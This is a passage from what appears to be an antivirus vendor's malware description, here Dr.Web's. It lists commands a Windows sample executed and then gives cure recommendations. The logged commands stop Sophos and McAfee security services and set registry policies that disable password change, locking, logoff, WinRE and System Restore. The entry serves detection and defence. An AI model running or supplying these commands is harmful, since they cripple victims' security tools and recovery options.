  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Agent"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos MCS Agent"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Client"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos MCS Client"
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Message Router"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos Message Router"
  • '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "McAfeeEngineService"

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

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Download on App Store

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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